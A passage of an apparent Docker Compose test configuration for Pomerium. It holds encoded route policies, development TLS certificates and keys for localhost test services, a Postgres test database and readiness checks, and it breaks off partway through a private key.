dHNTV3hHVlhNdmVGTndVWE40VG1KT1VWaDBUamx0YXpScGJWbHNXa2Q2V1ZsaVltMHJabTlDVmxCUVltOWhOV3BXZDB0RWNGbzJOVzFQY3pkS1IxQUtObmxxS3pkV04xVkNUVVp3Vnl0blMyMUtkR2RvTDJ0clFYZ3hPRFZvT1ROeGQweEdVR000TDFRM2Jpc3JVREZpZFN0bVlXdFlVRWRRUlRJeGNrUmxUQXBRYmxWdGRXTkpXbkJLYnpWT2NGbFdVWFkwVjNaVVMzRXZlazFTT1ZOemNIb3lVRVpLYmtWU1ZHWlVkbkVyUmpGeE0xcE9ZV1pGZW1sUWMwSTViMlZUQ201cWVIZHRZVnBQVTFZd2RsaHhMM0ZsYjNGNE5IWTJUVUo2VmtGWk1DODRVakpNWTNCS05IVm5NRTlhTTNjd1lqSjBObmx2T0RaUU5WRTRRMEYzUlVFS1FXRk9SazFGVFhkRVoxbEVWbEl3VUVGUlNDOUNRVkZFUVdkSlJVMUNTVWRCTVZWa1JYZEZRaTkzVVVsTlFWbENRV1k0UTBGUlFYZElVVmxFVmxJd1R3cENRbGxGUmt4aldUaEZiMDV2WmsxamNuSjRlbmw0U1c0elZ6WmFUMDFXV0UxQk1FZERVM0ZIVTBsaU0wUlJSVUpEZDFWQlFUUkpRbWRSUTFwNlJFTjJDa3RKU0ZnelIzWnFUbE5aTlhjMVlrOXVORVV6ZHpkUlNGQXdPVUZDYWxRdmQzVlVORXhFYTFwSVNrMXRiSEpNYnpOek9HSmpjMUV3YzAxRU1Wa3ZMeThLY3pBM1kzQTBlRmxzY1VRM1FrRXdRV053ZGxsV1dYRTFPSGhMZUhOdlEzZFdXRzFITldORlpVOXZXbTFYWmpOeFdUSnRVemhsVnprMmRrOUdjbVJKWWdwTU5FOUdOSGhaVlU5TlVuRkJUMGRCUVhJMlZteFBOMmRZWVRRd05raDZjbk5CTVdoWlduZHlaVmhvVDFSRFdscFFXazlWYmtGMU1EVlRTRVprWjJGTkNsUktUa0l2YnpBeGRIQjNVV3h5VkhoT2JXWnliM0J2VDNwNWRYWklNSHBWTWxKeVRYTXdLMFZpVDNWRE5FRXlZMUU0TTBSSlJuaDJjVFkzYkhsVk1FRUtjekZSTm5SU1RUQXJWVVJ0U2s5TWVqTlRaR2RPSzBRd01HaGpkWFZxT1RKSFZqUmlTRGhDWm5sVmRqaE9RMWt3ZGtScGFqQlVVMnBxTkdNMFVYUmpOd3BKVUV4VVdqSm5OVFExYjJONmFFNW5RVzFVTjJRclFqVkpibmxtYVZOSlMyVnRXSEZsY3pKcWNHbEJabnBRVG13NVFsWjRjMkZyWTNNdldYcHZXWE14Q2l0eFZHcEJWM1ZoUkhOTGIyaEZiazgwUWtwMWVuWXdlSEpqWlRRd1pXNVNaMWg1UjBkR2RsaDFNbk0wUmxreWRrcHhWRk52Tm5selJGZHVhRWt6VEZjS1pHTm5Oazh5UmpSQlVFTkhSMlUzZW5OMWNXbHhhM0JqYTI1Q1lXSm5la1Z6T1dadlNIRXliV1p2TjFocFJYcGxaRTFPT0VKT2NXWlRZa0U5Q2kwdExTMHRSVTVFSUVORlVsUkpSa2xEUVZSRkxTMHRMUzBLIiwKInRsc19zZXJ2ZXJfbmFtZSI6ICJodHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoidG8iOiAiaHR0cHM6Ly91bnRydXN0ZWQtaHR0cGRldGFpbHM6ODQ0MyIKfSwKewoiYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiZnJvbSI6ICJodHRwczovL2h0dHBkZXRhaWxzLmxvY2FsaG9zdC5wb21lcml1bS5pbyIsCiJwYXRoIjogIi90bHMtY3VzdG9tLWNhLWRpc2FibGVkIiwKInRvIjogImh0dHBzOi8vdW50cnVzdGVkLWh0dHBkZXRhaWxzOjg0NDMiCn0sCnsKImNvcnNfYWxsb3dfcHJlZmxpZ2h0IjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicHJlZml4IjogIi9jb3JzLWVuYWJsZWQiLAoidG8iOiAiaHR0cDovL3RydXN0ZWQtaHR0cGRldGFpbHM6ODA4MCIKfSwKewoiY29yc19hbGxvd19wcmVmbGlnaHQiOiBmYWxzZSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicHJlZml4IjogIi9jb3JzLWRpc2FibGVkIiwKInRvIjogImh0dHA6Ly90cnVzdGVkLWh0dHBkZXRhaWxzOjgwODAiCn0sCnsKImFsbG93X3B1YmxpY191bmF1dGhlbnRpY2F0ZWRfYWNjZXNzIjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicHJlZml4IjogIi9wcmVzZXJ2ZS1ob3N0LWhlYWRlci1lbmFibGVkIiwKInByZXNlcnZlX2hvc3RfaGVhZGVyIjogdHJ1ZSwKInRvIjogImh0dHA6Ly90cnVzdGVkLWh0dHBkZXRhaWxzOjgwODAiCn0sCnsKImFsbG93X3B1YmxpY191bmF1dGhlbnRpY2F0ZWRfYWNjZXNzIjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicHJlZml4IjogIi9wcmVzZXJ2ZS1ob3N0LWhlYWRlci1kaXNhYmxlZCIsCiJwcmVzZXJ2ZV9ob3N0X2hlYWRlciI6IGZhbHNlLAoidG8iOiAiaHR0cDovL3RydXN0ZWQtaHR0cGRldGFpbHM6ODA4MCIKfSwKewoiYWxsb3dfYW55X2F1dGhlbnRpY2F0ZWRfdXNlciI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vcmVzdHJpY3RlZC1odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicGFzc19pZGVudGl0eV9oZWFkZXJzIjogdHJ1ZSwKInRvIjogImh0dHA6Ly90cnVzdGVkLWh0dHBkZXRhaWxzOjgwODAiCn0sCnsKImFsbG93ZWRfZG9tYWlucyI6IFsKImRvZ3MudGVzdCIKXSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicGFzc19pZGVudGl0eV9oZWFkZXJzIjogdHJ1ZSwKInByZWZpeCI6ICIvYnktZG9tYWluIiwKInRvIjogImh0dHA6Ly90cnVzdGVkLWh0dHBkZXRhaWxzOjgwODAiCn0sCnsKImFsbG93ZWRfdXNlcnMiOiBbCiJ1c2VyMUBkb2dzLnRlc3QiCl0sCiJmcm9tIjogImh0dHBzOi8vaHR0cGRldGFpbHMubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInBhc3NfaWRlbnRpdHlfaGVhZGVycyI6IHRydWUsCiJwcmVmaXgiOiAiL2J5LXVzZXIiLAoidG8iOiAiaHR0cDovL3RydXN0ZWQtaHR0cGRldGFpbHM6ODA4MCIKfSwKewoiYWxsb3dfYW55X2F1dGhlbnRpY2F0ZWRfdXNlciI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vaHR0cGRldGFpbHMubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKImxiX3BvbGljeSI6ICJST1VORF9ST0JJTiIsCiJwcmVmaXgiOiAiL3JvdW5kLXJvYmluIiwKInRvIjogWwoiaHR0cDovL3RydXN0ZWQtMS1odHRwZGV0YWlsczo4MDgwIiwKImh0dHA6Ly90cnVzdGVkLTItaHR0cGRldGFpbHM6ODA4MCIsCiJodHRwOi8vdHJ1c3RlZC0zLWh0dHBkZXRhaWxzOjgwODAiCl0KfSwKewoiYWxsb3dfYW55X2F1dGhlbnRpY2F0ZWRfdXNlciI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vaHR0cGRldGFpbHMubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKImxiX3BvbGljeSI6ICJSSU5HX0hBU0giLAoicHJlZml4IjogIi9yaW5nLWhhc2giLAoidG8iOiBbCiJodHRwOi8vdHJ1c3RlZC0xLWh0dHBkZXRhaWxzOjgwODAiLAoiaHR0cDovL3RydXN0ZWQtMi1odHRwZGV0YWlsczo4MDgwIiwKImh0dHA6Ly90cnVzdGVkLTMtaHR0cGRldGFpbHM6ODA4MCIKXQp9LAp7CiJhbGxvd19hbnlfYXV0aGVudGljYXRlZF91c2VyIjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoibGJfcG9saWN5IjogIk1BR0xFViIsCiJwcmVmaXgiOiAiL21hZ2xldiIsCiJ0byI6IFsKImh0dHA6Ly90cnVzdGVkLTEtaHR0cGRldGFpbHM6ODA4MCIsCiJodHRwOi8vdHJ1c3RlZC0yLWh0dHBkZXRhaWxzOjgwODAiLAoiaHR0cDovL3RydXN0ZWQtMy1odHRwZGV0YWlsczo4MDgwIgpdCn0sCnsKImFsbG93X3B1YmxpY191bmF1dGhlbnRpY2F0ZWRfYWNjZXNzIjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicGFzc19pZGVudGl0eV9oZWFkZXJzIjogdHJ1ZSwKInNldF9yZXF1ZXN0X2hlYWRlcnMiOiB7CiJYLUN1c3RvbS1SZXF1ZXN0LUhlYWRlciI6ICJjdXN0b20tcmVxdWVzdC1oZWFkZXItdmFsdWUiCn0sCiJ0byI6ICJodHRwOi8vdHJ1c3RlZC1odHRwZGV0YWlsczo4MDgwIgp9LAp7CiJhbGxvd19wdWJsaWNfdW5hdXRoZW50aWNhdGVkX2FjY2VzcyI6IHRydWUsCiJhbGxvd193ZWJzb2NrZXRzIjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9lbmFibGVkLXdzLWVjaG8ubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInRvIjogImh0dHA6Ly93ZWJzb2NrZXQtZWNobzo4MCIKfSwKewoiYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiZnJvbSI6ICJodHRwczovL2Rpc2FibGVkLXdzLWVjaG8ubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInRvIjogImh0dHA6Ly93ZWJzb2NrZXQtZWNobzo4MCIKfSwKewoiYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiZW5hYmxlX2dvb2dsZV9jbG91ZF9zZXJ2ZXJsZXNzX2F1dGhlbnRpY2F0aW9uIjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9jbG91ZHJ1bi5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicGFzc19pZGVudGl0eV9oZWFkZXJzIjogdHJ1ZSwKInNldF9yZXF1ZXN0X2hlYWRlcnMiOiB7CiJ4LWlkcCI6ICJvaWRjIgp9LAoidG8iOiAiaHR0cDovL3RydXN0ZWQtaHR0cGRldGFpbHM6ODA4MCIKfQpd\n      SHARED_SECRET: UYgnt8bxxK5G2sFaNzyqi5Z+OgF8m2akNc0xdQx718w=\n      SIGNING_KEY: LS0tLS1CRUdJTiBFQyBQUklWQVRFIEtFWS0tLS0tCk1IY0NBUUVFSVBSR1d3TGg3NW5OWG5razM3ekRmTjhvbkx3ZkNpYUxQVEQrbmM4THg1aGNvQW9HQ0NxR1NNNDkKQXdFSG9VUURRZ0FFa3BCa08wVEttaDRKZFFmTE9lZU1kNTNLbmdhMVdkUVhyNUZjZXBrK2RMVktkVkt4WENHcQpoMW9qdWh1VzExR0lvT3pTOUdvU0tsTlZTUkZXVkVXRHZ3PT0KLS0tLS1FTkQgRUMgUFJJVkFURSBLRVktLS0tLQo=\n      SIGNING_KEY_ALGORITHM: ES256\n    image: pomerium/pomerium:${POMERIUM_TAG:-main}\n    networks:\n      main:\n        aliases:\n        - pomerium\n        - authenticate.localhost.pomerium.io\n    ports:\n    - 80:80/tcp\n    - 443:443/tcp\n    - 9901:9901/tcp\n  postgres:\n    environment:\n      POSTGRES_DB: test\n      POSTGRES_PASSWORD: password\n      POSTGRES_USER: pomerium\n    image: postgres:14.3-alpine\n    networks:\n      main:\n        aliases:\n        - postgres\n  postgres-ready:\n    command:\n    - -wait\n    - tcp://postgres:5432\n    - -timeout\n    - 10m\n    image: jwilder/dockerize:0.6.1\n    networks:\n      main:\n        aliases:\n        - postgres-ready\n  trusted-1-httpdetails:\n    command:\n    - sh\n    - -c\n    - |\n      cat <<-END_OF_HTTPDETAILS | tee /app/fullchain.pem\n      -----BEGIN CERTIFICATE-----\n      MIIEUjCCArqgAwIBAgIRAKNaEqCmmZfhmcYgZy01WCswDQYJKoZIhvcNAQELBQAw\n      gYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs\n      ZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy\n      dCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTAx\n      NzMyMTBaFw0yMzExMTAxODMyMTBaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w\n      bWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg\n      KENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC8\n      HLBAIzXkPeegldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPD\n      yVhDT0QlI/O/EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+Vv\n      Wyl+FoPDV/vsZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9t\n      jObsaQgJ5LLxCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEq\n      bZUDG+ZioArPmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd\n      9r6rOBxpxwnTDvHkBn6vAgMBAAGjbDBqMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE\n      DDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBSFhlhYgEfKTplVOeneVG3+3IE/TTAi\n      BgNVHREEGzAZghcqLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG9w0BAQsF\n      AAOCAYEAufQAF79s7c1gmZ9CIKBSGkHh+SH01CuKYnnHiMowHsTioFaUAQsd/P4X\n      c2XBqc34eT3mCvpgZjHbjz6JlnTYJxuLvVqnVB3emtWrb1cQvh8BphxspTlS8uiE\n      AEf/ngtpzfA/f4lpGkzrQ0cyPkEJGz511q97itzn9RZZzVTZxNVFSP2vVhNNQVsW\n      OxakcvYRgnz8AOQS3OPHj2FQc3iibshct5leIwYZFcxINGHR6KL6+/LSePNCEMmK\n      qymVPkQGsIcU6GQ9fxaSu4mp+IUALProizEVI8SVk5nOm3HIez+ZfXhzfnGx06SI\n      6NuoQQPqUBeZeXn2YFYhipeRdrQxvA36/YXa/AkXCeU0pXxbtXKcvatfri5KnYJD\n      kH59a+aFkTsl41tfI2cnRYVddqXVl3OzLbcgAFLn1WeC1xx3xRXi7KldokOlvgv+\n      B6naWfCxRlWZ/lsmHae4kc1WH4Kc7nK+ITb40EkjV68/A7krZsN1VcqNtpomYkgE\n      xjUE8XUu\n      -----END CERTIFICATE-----\n      END_OF_HTTPDETAILS\n      cat <<-END_OF_HTTPDETAILS | tee /app/privkey.pem\n      -----BEGIN PRIVATE KEY-----\n      MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8HLBAIzXkPeeg\n      ldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPDyVhDT0QlI/O/\n      EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+VvWyl+FoPDV/vs\n      Z31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9tjObsaQgJ5LLx\n      CYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEqbZUDG+ZioArP\n      mqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd9r6rOBxpxwnT\n      DvHkBn6vAgMBAAECggEAB28i0AYUNSb1JnWFbKzruUctu3tCNXovJg6K3BiPVMkq\n      DT1XrJIgF5RHHOlr3OsLE6u7Xz2ctdML6PshiKTtIwtGpivgRpCiJEslmr2zi8AW\n      8eJeqRLZEfsSSJOXTG7RdGsn4qHFJ00s2ZTlcIHSPwnFm+XjJi99U8G4XsUoXo0r\n      Gy+0VCuU7M8gICEHHsrQO9XDD3nT2jiu5TjrKwjut3EmoJssI5bqx33+OBu5BpCP\n      CT473D43P9p3qi/XnfvqGSG2Oj4OajV4fr0o9B3KvIxkMem7WlI3jyy1kApyXqVT\n      bLkLFyWBNTWUZ2R/2wxmuoC6mLZw879MLCKMvk1doQKBgQDhmwGafJNymTiEQZRI\n      SsQx4seqfOKfgFC7ohqH9cROOu8IJ1o7q2pM2W4XiV+S3wTdPGmca6IOjX23isVB\n      2uqNi9S4MnI2/d22Gd/BR9rvBw1eGJoKbrWx22fE8QCEWT1AnO+DuD0jC85yRls7\n      axzlaMrxEu3LI9UE7NtrdQiByQKBgQDVdI6ceIVBT6RgvVGt8zkLjPIFjhQEHAIp\n      uhirgqpS6CX9Blyf2+o40zmfj3he5rCcEoB5MseM+DgFbcVh2e/MVnYiNNw6JCDB\n      BQkF408pZpSeKXvL/oyV/kImMTJ/tUDY0EXxMwSPJB0WltbWreVIHopigXRCbaey\n      uBHVBv/4twKBgHwHuePy5SU1s2qSmzD7Wc2LPfYu3nCOHNRrFGb26MuRfuReri7r\n      2G8TgoESFycp0QTIN8+1JM0XYKxNcJD6B8V1wKbbpQsymneI1gjutiB/Igw/PkDK\n      CL4VP4F4da5NWW1yWgNygLoJvZ/5qiKKisJc0GWk4HKz6mLgzOjQ2LJxAoGBALHZ\n      fN2YeYbyYcaM11p1VilulVTVjY3i/FZiDR4SL/IGJWjN/Szg4iXYsKFmu+dulOZl\n      cBALpEKrqpmzXYtrN6bsv18+5eO3qGbK2DrEq3eWVev2KoTMobxz7g++XBIWJmLA\n      Hhaa6IiPkYD5yyVyHKDbeXgb3o9eqCR7w7fYLjy/AoGAI4D+MFkivwUF7hqf5edS\n      KrltwmodHiqXNbVkwbW1AFPJbiYai4YFfK4IAbif/Ymxf9G78aOkr9ZpCIzOkDPZ\n      YpEwQGWsAhElCFvc8E/5dHESSp+tWtP+NluimpFqiDg3/SUnMwO2xH0nhLa0zejh\n      gmLh4w/CcPyb9ZyXceWU/nU=\n      -----END PRIVATE KEY-----\n      END_OF_HTTPDETAILS\n      node ./index.js\n    image: mendhak/http-https-echo:19\n    networks:\n      main:\n        aliases:\n        - trusted-1-httpdetails\n  trusted-1-httpdetails-ready:\n    command:\n    - -wait\n    - http://trusted-1-httpdetails:8080\n    - -timeout\n    - 10m\n    image: jwilder/dockerize:0.6.1\n    networks:\n      main:\n        aliases:\n        - trusted-1-httpdetails-ready\n  trusted-2-httpdetails:\n    command:\n    - sh\n    - -c\n    - |\n      cat <<-END_OF_HTTPDETAILS | tee /app/fullchain.pem\n      -----BEGIN CERTIFICATE-----\n      MIIEUjCCArqgAwIBAgIRAKNaEqCmmZfhmcYgZy01WCswDQYJKoZIhvcNAQELBQAw\n      gYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs\n      ZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy\n      dCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTAx\n      NzMyMTBaFw0yMzExMTAxODMyMTBaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w\n      bWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg\n      KENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC8\n      HLBAIzXkPeegldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPD\n      yVhDT0QlI/O/EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+Vv\n      Wyl+FoPDV/vsZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9t\n      jObsaQgJ5LLxCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEq\n      bZUDG+ZioArPmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd\n      9r6rOBxpxwnTDvHkBn6vAgMBAAGjbDBqMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE\n      DDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBSFhlhYgEfKTplVOeneVG3+3IE/TTAi\n      BgNVHREEGzAZghcqLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG9w0BAQsF\n      AAOCAYEAufQAF79s7c1gmZ9CIKBSGkHh+SH01CuKYnnHiMowHsTioFaUAQsd/P4X\n      c2XBqc34eT3mCvpgZjHbjz6JlnTYJxuLvVqnVB3emtWrb1cQvh8BphxspTlS8uiE\n      AEf/ngtpzfA/f4lpGkzrQ0cyPkEJGz511q97itzn9RZZzVTZxNVFSP2vVhNNQVsW\n      OxakcvYRgnz8AOQS3OPHj2FQc3iibshct5leIwYZFcxINGHR6KL6+/LSePNCEMmK\n      qymVPkQGsIcU6GQ9fxaSu4mp+IUALProizEVI8SVk5nOm3HIez+ZfXhzfnGx06SI\n      6NuoQQPqUBeZeXn2YFYhipeRdrQxvA36/YXa/AkXCeU0pXxbtXKcvatfri5KnYJD\n      kH59a+aFkTsl41tfI2cnRYVddqXVl3OzLbcgAFLn1WeC1xx3xRXi7KldokOlvgv+\n      B6naWfCxRlWZ/lsmHae4kc1WH4Kc7nK+ITb40EkjV68/A7krZsN1VcqNtpomYkgE\n      xjUE8XUu\n      -----END CERTIFICATE-----\n      END_OF_HTTPDETAILS\n      cat <<-END_OF_HTTPDETAILS | tee /app/privkey.pem\n      -----BEGIN PRIVATE KEY-----\n      MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8HLBAIzXkPeeg\n      ldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPDyVhDT0QlI/O/\n      EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+VvWyl+FoPDV/vs\n      Z31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9tjObsaQgJ5LLx\n      CYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEqbZUDG+ZioArP\n      mqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd9r6rOBxpxwnT\n      DvHkBn6vAgMBAAECggEAB28i0AYUNSb1JnWFbKzruUctu3tCNXovJg6K3BiPVMkq\n      DT1XrJIgF5RHHOlr3OsLE6u7Xz2ctdML6PshiKTtIwtGpivgRpCiJEslmr2zi8AW\n      8eJeqRLZEfsSSJOXTG7RdGsn4qHFJ00s2ZTlcIHSPwnFm+XjJi99U8G4XsUoXo0r\n      Gy+0VCuU7M8gICEHHsrQO9XDD3nT2jiu5TjrKwjut3EmoJssI5bqx33+OBu5BpCP\n      CT473D43P9p3qi/XnfvqGSG2Oj4OajV4fr0o9B3KvIxkMem7WlI3jyy1kApyXqVT\n      bLkLFyWBNTWUZ2R/2wxmuoC6mLZw879MLCKMvk1doQKBgQDhmwGafJNymTiEQZRI\n      SsQx4seqfOKfgFC7ohqH9cROOu8IJ1o7q2pM2W4XiV+S3wTdPGmca6IOjX23isVB\n      2uqNi9S4MnI2/d22Gd/BR9rvBw1eGJoKbrWx22fE8QCEWT1AnO+DuD0jC85yRls7\n      axzlaMrxEu3LI9UE7NtrdQiByQKBgQDVdI6ceIVBT6RgvVGt8zkLjPIFjhQEHAIp\n      uhirgqpS6CX9Blyf2+o40zmfj3he5rCcEoB5MseM+DgFbcVh2e/MVnYiNNw6JCDB\n      BQkF408pZpSeKXvL/oyV/kImMTJ/tUDY0EXxMwSPJB0WltbWreVIHopigXRCbaey\n      uBHVBv/4twKBgHwHuePy5SU1s2qSmzD7Wc2LPfYu3nCOHNRrFGb26MuRfuReri7r\n      2G8TgoESFycp0QTIN8+1JM0XYKxNcJD6B8V1wKbbpQsymneI1gjutiB/Igw/PkDK\n      CL4VP4F4da5NWW1yWgNygLoJvZ/5qiKKisJc0GWk4HKz6mLgzOjQ2LJxAoGBALHZ\n      fN2YeYbyYcaM11p1VilulVTVjY3i/FZiDR4SL/IGJWjN/Szg4iXYsKFmu+dulOZl\n      cBALpEKrqpmzXYtrN6bsv18+5eO3qGbK2DrEq3eWVev2KoTMobxz7g++XBIWJmLA\n      Hhaa6IiPkYD5yyVyHKDbeXgb3o9eqCR7w7fYLjy/AoGAI4D+MFkivwUF7hqf5edS\n      KrltwmodHiqXNbVkwbW1AFPJbiYai4YFfK4IAbif/Ymxf9G78aOkr9ZpCIzOkDPZ\n      YpEwQGWsAhElCFvc8E/5dHESSp+tWtP+NluimpFqiDg3/SUnMwO2xH0nhLa0zejh\n      gmLh4w/CcPyb9ZyXceWU/nU=\n      -----END PRIVATE KEY-----\n      END_OF_HTTPDETAILS\n      node ./index.js\n    image: mendhak/http-https-echo:19\n    networks:\n      main:\n        aliases:\n        - trusted-2-httpdetails\n  trusted-2-httpdetails-ready:\n    command:\n    - -wait\n    - http://trusted-2-httpdetails:8080\n    - -timeout\n    - 10m\n    image: jwilder/dockerize:0.6.1\n    networks:\n      main:\n        aliases:\n        - trusted-2-httpdetails-ready\n  trusted-3-httpdetails:\n    command:\n    - sh\n    - -c\n    - |\n      cat <<-END_OF_HTTPDETAILS | tee /app/fullchain.pem\n      -----BEGIN CERTIFICATE-----\n      MIIEUjCCArqgAwIBAgIRAKNaEqCmmZfhmcYgZy01WCswDQYJKoZIhvcNAQELBQAw\n      gYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs\n      ZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy\n      dCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTAx\n      NzMyMTBaFw0yMzExMTAxODMyMTBaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w\n      bWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg\n      KENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC8\n      HLBAIzXkPeegldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPD\n      yVhDT0QlI/O/EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+Vv\n      Wyl+FoPDV/vsZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9t\n      jObsaQgJ5LLxCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEq\n      bZUDG+ZioArPmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd\n      9r6rOBxpxwnTDvHkBn6vAgMBAAGjbDBqMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE\n      DDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBSFhlhYgEfKTplVOeneVG3+3IE/TTAi\n      BgNVHREEGzAZghcqLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG9w0BAQsF\n      AAOCAYEAufQAF79s7c1gmZ9CIKBSGkHh+SH01CuKYnnHiMowHsTioFaUAQsd/P4X\n      c2XBqc34eT3mCvpgZjHbjz6JlnTYJxuLvVqnVB3emtWrb1cQvh8BphxspTlS8uiE\n      AEf/ngtpzfA/f4lpGkzrQ0cyPkEJGz511q97itzn9RZZzVTZxNVFSP2vVhNNQVsW\n      OxakcvYRgnz8AOQS3OPHj2FQc3iibshct5leIwYZFcxINGHR6KL6+/LSePNCEMmK\n      qymVPkQGsIcU6GQ9fxaSu4mp+IUALProizEVI8SVk5nOm3HIez+ZfXhzfnGx06SI\n      6NuoQQPqUBeZeXn2YFYhipeRdrQxvA36/YXa/AkXCeU0pXxbtXKcvatfri5KnYJD\n      kH59a+aFkTsl41tfI2cnRYVddqXVl3OzLbcgAFLn1WeC1xx3xRXi7KldokOlvgv+\n      B6naWfCxRlWZ/lsmHae4kc1WH4Kc7nK+ITb40EkjV68/A7krZsN1VcqNtpomYkgE\n      xjUE8XUu\n      -----END CERTIFICATE-----\n      END_OF_HTTPDETAILS\n      cat <<-END_OF_HTTPDETAILS | tee /app/privkey.pem\n      -----BEGIN PRIVATE KEY-----\n      